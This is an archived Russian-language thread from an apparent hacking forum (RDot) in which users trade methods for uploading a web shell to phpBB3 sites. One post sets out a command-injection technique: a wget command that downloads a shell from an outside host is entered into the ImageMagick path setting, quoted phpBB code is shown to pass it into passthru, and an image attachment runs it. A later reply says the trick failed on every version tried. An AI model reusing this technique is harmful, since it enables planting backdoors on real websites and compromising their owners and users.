RDot

RDot (https://rdot.org/forum/index.php)
-   Форумы (https://rdot.org/forum/forumdisplay.php?f=34)
-   -   phpbb3 shell help (https://rdot.org/forum/showthread.php?t=1976)

faza02 04.02.2012 19:40

phpbb3 shell help
 
есть ли еще какие-нибудь способы заливки? кроме как этот.
нет возможности редактировать шаблоны, просто потому что их нет.

nomad 19.02.2012 21:11

C искренной надеждой на ответ все-таки апну тему. Есть ли еще способы заливки, кроме правки стилей?

yesday 19.02.2012 22:12

Например как описано тут попробуй (через bbcode в подписи): https://rdot.org/forum/showpost.php?p=4149&postcount=9

nomad 19.02.2012 22:27

Цитата:

Сообщение от yesday (Сообщение 23934)
Например как описано тут попробуй (через bbcode в подписи): https://rdot.org/forum/showpost.php?p=4149&postcount=9


Это способ для второй ветки phpbb, или я ошибаюсь?

m0Hze 20.02.2012 00:47

Цитата:

Сообщение от faza02 (Сообщение 23543)
есть ли еще какие-нибудь способы заливки? кроме как этот.
нет возможности редактировать шаблоны, просто потому что их нет.

Если просто нету вкладки Стили, то это легко попроавить, включив ее в админке, в настройках доступа вроде бы. На память не скажу точно)

Лаврушкин 22.04.2012 23:23

Навеяло пред темой.
Идем в General->Attachment settings
Ставим галочки на Allow attachments,Display images inline,Create thumbnail
Там есть Imagemagick path: херачим туда что то вроде
PHP код:

sh -'wget -O /кудабудемлитьшелл/sh.php http://shell.com/shell.txt' 

Потом идем в любую тему на форуме..и аттачим любую картинку.
в этот момент в файле includes/functions_posting.php
PHP код:

    if ($config['img_imagick'] && function_exists('passthru')) 
    { 
        if (
substr($config['img_imagick'], -1) !== '/'
        { 
            
$config['img_imagick'] .= '/'
        } 

        @
passthru(escapeshellcmd($config['img_imagick']) . 'convert' . ((defined('PHP_OS') && preg_match('#^win#i'PHP_OS)) ? '.exe' '') . ' -quality 85 -geometry ' $new_width 'x' $new_height ' "' str_replace('\\''/'$source) . '" "' str_replace('\\''/'$destination) . '"'); 

        if (
file_exists($destination)) 
        { 
            
$used_imagick true
        } 
    } 

в функцию passthru попадёт Imagemagick path. escapeshellcmd успешно пропустит кавычки. т.к Символы ' и " экранируются только в том случае, если они встречаются не попарно.
Борода в конце не помешает.
Зависимость естественно safe_mode = Off

Re9ent 17.05.2013 16:34

А на каких версиях тестировался этот способ? Признаться, у меня ни на одной не заработало.

Лаврушкин 18.05.2013 11:41

Цитата:

Сообщение от Re9ent (Сообщение 31796)
А на каких версиях тестировался этот способ? Признаться, у меня ни на одной не заработало.

функция create_thumbnail в ласт версии phpbb без изменения.
выше в этой функции есть ещё условия. быть может они не выполняются. может passthru в disable. может быть ещё не одно НО.
поэтому тестировать лучше всего на локалхосте.


Часовой пояс GMT +3, время: 22:34.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot